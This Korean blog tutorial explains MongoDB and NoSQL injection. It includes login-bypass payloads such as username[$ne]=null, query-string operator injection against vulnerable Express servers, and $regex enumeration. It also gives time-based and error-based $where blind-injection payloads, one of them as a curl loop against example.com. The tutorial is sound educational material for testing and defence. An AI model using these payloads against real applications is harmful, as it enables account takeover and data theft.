Web/Web Hacking Techniques

MongoDB (MongoDB Injection)

g2h 2025. 5. 16. 15:30

MongoDB란?

MongoDB는 문서 지향 NoSQL 데이터베이스로, 일반적으로 사용되는 관계형 데이터베이스인 RDBMS와 달리 스키마가 없거나 느슨한 스키마를 가지며 JSON 형태로 데이터를 저장하는 BSON(Binary JSON) 형식을 사용한다

MongoDB의 주요 특징

특징 설명

NoSQL 기반 스키마 없는 구조로 데이터 유연성과 확장성이 뛰어남
문서 지향 데이터를 문서(Document) 형태로 저장하며 JSON 유사 구조
BSON 포맷 바이너리 JSON으로 데이터를 저장하여 속도와 효율성 증가
수평적 확장성 Sharding 및 복제(Replication)를 통해 분산 확장 지원
인덱싱 및 성능 효율적인 인덱스 구조로 빠른 쿼리 처리 가능
복제 및 고가용성 Replica Set을 통해 장애 대비와 고가용성 확보

MongoDB의 내부 메커니즘

1. 데이터 저장 구조 (BSON)

MongoDB는 BOSN 형태로 데이터를 저장하며, BSON은 JSON의 바이너리 버전이다.

  • JSON 보다 압축성이 좋고 처리 속도가 빠름
  • 다양한 데이터 타입(Date, Objectld, Binary Data 등)을 지원
{
  "_id": ObjectId("663d45f76bfe7a25e4742f5f"),
  "name": "Alice",
  "age": 30,
  "created_at": ISODate("2024-05-15T10:15:00Z"),
  "roles": ["admin", "user"]
}

Sharding

  • 데이터를 여러 서버에 분산 저장하는 메커니즘
  • 성능 향상 및 데이터 용량 분산 처리 목적
  • Shard Key를 기준으로 데이터가 분산 저장됨

복제(Replication)

  • Replica Set으로 복제 관리
  • _id 필드는 기본키(Primary Key)역할
  • Primary 노드가 쓰기를 처리, Secondary 노드는 읽기 또는 백업 처리
  • Primary 노드 장애 시 자동 Failover 처리

MongoDB CRUD

데이터 삽입 (Create)

db.users.insertOne({
    name: "Alice",
    age: 25,
    roles: ["user", "editor"]
});

데이터 조회 (Read)

db.users.find({ name: "Alice" });

데이터 수정 (Update)

db.users.updateOne(
  { name: "Alice" },
  { $set: { age: 30 } }
);

데이터 삭제 (Delete)

db.users.deleteOne({ name: "Alice" });

연산자

연산자(Operator) 설명 Injection 공격 예시

$ne Not Equal (같지 않음) {"username": {"$ne": null}, "password": {"$ne": null}} → 모든 사용자의 계정 우회 로그인 가능
$gt Greater Than (보다 큼) {"balance": {"$gt": 0}} → 특정 금액 이상의 데이터를 유출
$gte Greater Than or Equal (이상) {"accessLevel": {"$gte": 1}} → 특정 권한 이상의 데이터 접근
$lt Less Than (보다 작음) {"age": {"$lt": 100}} → 조건을 완화하여 대량의 데이터 조회 가능
$lte Less Than or Equal (이하) {"expiry": {"$lte": "2099-12-31"}} → 만료일을 우회하여 데이터 접근
$in 배열 내 값이 존재함 {"username": {"$in": ["admin", "root"]}} → 관리자 계정 접근 시도
$nin 배열 내 값이 존재하지 않음 {"status": {"$nin": ["blocked", "deleted"]}} → 접근 제한 상태 우회
$or 조건 중 하나라도 참이면 참 {"$or": [{"username": "admin"}, {"password": {"$ne": null}}]} → 관리자 또는 비밀번호 우회
$and 조건 모두가 참이어야 함 {"$and": [{"username": {"$ne": null}}, {"password": {"$ne": null}}]} → username과 password 모두 존재하는 모든 데이터 조회
$regex 정규 표현식(Regular Expression)을 이용한 매칭 {"username": {"$regex": "^adm"}} → adm으로 시작하는 사용자 조회
$exists 필드 존재 여부 확인 {"isAdmin": {"$exists": true}} → 관리 권한이 있는 사용자 데이터 확인
$where JavaScript 코드를 통한 복잡한 조건 표현 {"$where": "this.age > 20"} → JavaScript 코드 주입으로 복잡한 조건 처리 가능 (위험성이 매우 높음)

MongoDB Injection

대부분의 MongoDB Injection은 웹 어플리케이션이 사용자 입력을 적절한 검증 없이 전달할 때 발생한다.

$ne 

{
    "username": {"$ne": null},
    "password": {"$ne": null}
}

위 쿼리는 DB에서 username과 password가 null이 아닌 모든 계정을 조회하며, 결과적으로 첫 번째 계정으로 로그인 된다.

https://example.com/login?username[$ne]=null&password[$ne]=null

$or 

{
    "username": {"$or": [{"$eq": "admin"}, {"$ne": null}]},
    "password": {"$ne": null}
}

username이 admin이거나 null이 아닌 모든 username에 대해 password가 null이 아닌 계정을 찾게 

$regex

app.get('/search', (req, res) => {
    const query = { username: { $regex: req.query.user } };

    collection.find(query).toArray((err, users) => {
        res.json(users);
    });
});

위 코드와 같이 사용자 정보를 조회하는 API서버가 있을 때  아래와 같이 사용할 수 있다.

/search?user=^admin

admin 으로 시작하는 모든 사용자를 반환한다.

혹은 아래와 같이 $regex를 사용할 수 있다.

https://example.com/search?user[$regex]=^admin

$where

// 취약한 서버 코드 예시
app.get('/user-info', (req, res) => {
    const query = JSON.parse(req.query.q);
    collection.find(query).toArray((err, result) => {
        res.json(result);
    });
});
{"$where": "function() { return this.isAdmin == true; }"}

JavaScript 코드를 DB에서 실행하여 관리자인 사용자만 선택적으로 반환할 수 있다.

이 외에 JavaScript 실행 권한으로 인해 추가적인 공격이 진행될 수 있다.

$in

https://example.com/checkuser?role=user

위와같이 정상적인 GET 요청에서는 role파라미터에 사용자를 입력하여 찾게된다.

https://example.com/checkuser?role[$in]=admin&role[$in]=user

위의 비정상 쿼리에서는 admin 혹은 다른 사용자가 존재할 경우 반환하게 한다.

객체 타입을 통한 우회 인젝션 개념

MongoDB Query는 기본적으로 JSON 기반의 객체(Object)구조를 갖고 있다.

공격자는 클라이언트에서 객체 형태로 파라미터를 전달하면, 서버가 이를 그대로 MongoDB Query의 일부로 사용하게 된다.

 

서버가 클라이언트로부터 받은 데이터를 JSON 또는 객체 형태로 바로 변환하고,

클라이언트 측에서 특정판 표기법(parm[key]=value)을 사용하여 객체를 전달하게 되면, 서버는 이를 객체 형태로 자동 변환한다.

이 과정에서 공격자는 MongoDB 연산자를 객체 내에 주입하여, 원하는 쿼리 구조를 강제로 만들 수 있다.

app.get('/getUser', (req, res) => {
    const filter = req.query; 
    collection.findOne(filter, (err, user) => {
        if (user) res.json(user);
        else res.status(404).send("Not found");
    });
});

위와 같이 NodeJS Express로 생성된 서버가 있다고 할 때 req.query는 별도의 입력값 검증 없이 Query로 사용된다.

정상적인 요청일 경우 "GET /getUser?username=alice"와 같이 보내게된다.

이럴 경우 생성되는 MongoDB Query는 "{ username: "alice" }" 와 같다.

GET /getUser?username[$ne]=alice

이 때 위와같이 악의적으로 연산자를 통한 객체 형식으로 전달할 경우 웹 프레임워크는 위 URL을 객체로 자동 변환한다.

{
  username: { $ne: "alice" }
}

즉 Query가 MongoDB에서 실행되면, alice가 아닌 첫 번째 사용자를 반환하게 되는 원리이다.

다중 데이터 조회를 위해 아래와 같이 다중 연산자 삽입이 가능하다.

GET /getUser?$or[0][role]=admin&$or[1][role]=manager
{
  $or: [
    { role: "admin" },
    { role: "manager" }
  ]
}

이러한 공격이 가능한 이유는 크게 2가지이다.

  1. 서버가 입력값을 엄격하게 문자열로 제한하지 않고, 객체로 파싱하여 사용하는 경우
    • ex) Express의 req.query는 URL 파라미터를 객체로 자동 변환한다.
  2. MongoDB가 객체 내에 있는 연산자(특히 $로 시작하는)를 특별한 의미로 받아들이기 때문
    • MongoDB는 { $ne: "value" } 형태의 데이터를 일반 문자열이 아닌 특별한 쿼리 연산자로 인식한다.

이 두가지가 만족할 때 클라이언트에서 전달한 객체가 MongoDB에서 의도하지 않은 악의적인 쿼리 연산자로 실행된다.

단순 연산자 주입 username[$ne]=alice 특정 값을 제외한 모든 값 조회 ($ne)
배열 객체 주입 role[$in]=admin&role[$in]=manager 다중 조건을 동시에 만족하는 데이터 조회($in)
복잡한 중첩 객체 $or[0][role]=admin&$or[1][level][$gt]=5 여러 조건을 중첩하여 상세 조건 조회
자바스크립트 실행 $where=this.age>20 JavaScript를 통한 강력한 조건식 생성($where)

 Blind Injection

$regex Blind Injection

$regex는 데이터가 특정 정규 표현식에 일치하는지를 검사한다. 이 때 응답 여부를 통해 특정 데이터의 존재 여부를 한 글자씩 유추할 수 있다.

app.get('/checkuser', (req, res) => {
    const username = req.query.username;
    collection.findOne({ username: { $regex: username } }, (err, user) => {
        if (user) res.send('User exists');
        else res.send('User not found');
    });
});

위와 같이 취약한 코드가 존재한다고 가정하자

# 요청 예시:
GET /checkuser?username=^a HTTP/1.1

"^" 를 사용하여 a로 시작하는지 한 글자씩 유출할 수 있다.

아래와 같이 자동화된 페이로드 또한 구성할 수 있다.

# 알파벳 및 숫자 반복 테스트 예시
for c in {a..z} {0..9}; do
    curl "http://example.com/checkuser?username=^$c"
done

요청 URL 서버 응답 공격자 추론 결과

/checkuser?username=^a User not found username은 a로 시작 X
/checkuser?username=^b User exists username은 b로 시작 O
/checkuser?username=^ba User exists ba로 시작 O
/checkuser?username=^ban User exists ban으로 시작 O
/checkuser?username=^bana User exists bana로 시작 O
/checkuser?username=^banan User exists banan으로 시작 O
/checkuser?username=^banana User exists banana 존재 O
/checkuser?username=^banana1 User not found banana1 존재 X

이 과정을 통해 공격자는 "banana"라는 username을 완벽하게 유추할 수 있다.

$where Blind Injection

$where 연산자를 활용하여 공격할 경우 substring, time-based, error-based등 다양한 방법이 사용 가능하다.

// 사용자의 정보를 쿼리로 직접 전달받는 취약한 서버
app.get('/findUser', (req, res) => {
    const query = JSON.parse(req.query.q);
    collection.findOne(query, (err, user) => {
        if (user) res.json(user);
        else res.status(404).send('Not Found');
    });
});

위와 같이 취약한 서버가 있도고 가장하자.

Substring 기반 기본적인 Blind Injection

자바 스크립트의 substring() 메서드를 사용하여 한 글자씩 서버 데이터를 확인할 수 있다.

{"$where":"this.username.substring(0,1)=='a'"}

위 코드와 같이 username 의 첫 글자가 'a'인지 확인한다.

Time-Based Blind Injection

$where를 통해 조건이 참일 때 고의로 응답 지연을 발생시켜 데이터를 추론하는 방식이다.

MongoDB에서는 sleep()을 지원하지 않으므로 JavaScript 코드를 통해 지연을 시킬 수 있다.

{
 "$where": "function() { if (this.username.substring(0,1)=='a') { var start = new Date(); while(new Date() - start < 5000) {} } return false; }"
}
// 실제 curl 요청을 통한 공격

time curl "http://example.com/findUser?q=%7B%22%24where%22%3A%22function()%7Bif(this.username.substring(0,1)=='a')%7Bvar%20start%3Dnew%20Date()%3Bwhile(new%20Date()-start%3C5000)%7B%7D%7Dreturn%20false%3B%7D%22%7D"
Payload 응답 시간 공격자의 추
'a' 0.2초 username 첫 글자 'a' 아님
'b' 5.3초 username 첫 글자 'b' 맞음

Error-Based  Blind Injection

$where를 통해 고의로 JavaScript의 예외(exception)을 발생시켜 참/거짓 여부를 확인할 수 있다.

MongoDB는 $where 내의 JavaScrpt 에러 발생 시 서버가 500 Injternal Error를 응답한다.

{
 "$where": "function() { if (this.username.substring(0,1)=='a') { throw 'error'; } return false; }"
}

 

Payload 서버 응답 공격자 추론 결
username 첫 글자 'a' 검사 404 Not Found (정상) 첫 글자 'a' 아님
username 첫 글자 'b' 검사 500 Internal Server Error 첫 글자 'b' 맞음 (에러 발생)

차이점

공격 유형 원리  판단 기준 공격 정확
substring 기반 한 글자씩 정확히 비교 존재/비존재 여부 (True/False) 높음
Time-based Blind 의도적인 응답 지연(delay) 사용 응답 지연 시간 (response delay) 높음
Error-based Blind 의도적 예외(exception) 발생 에러 응답 여부 (HTTP status) 높음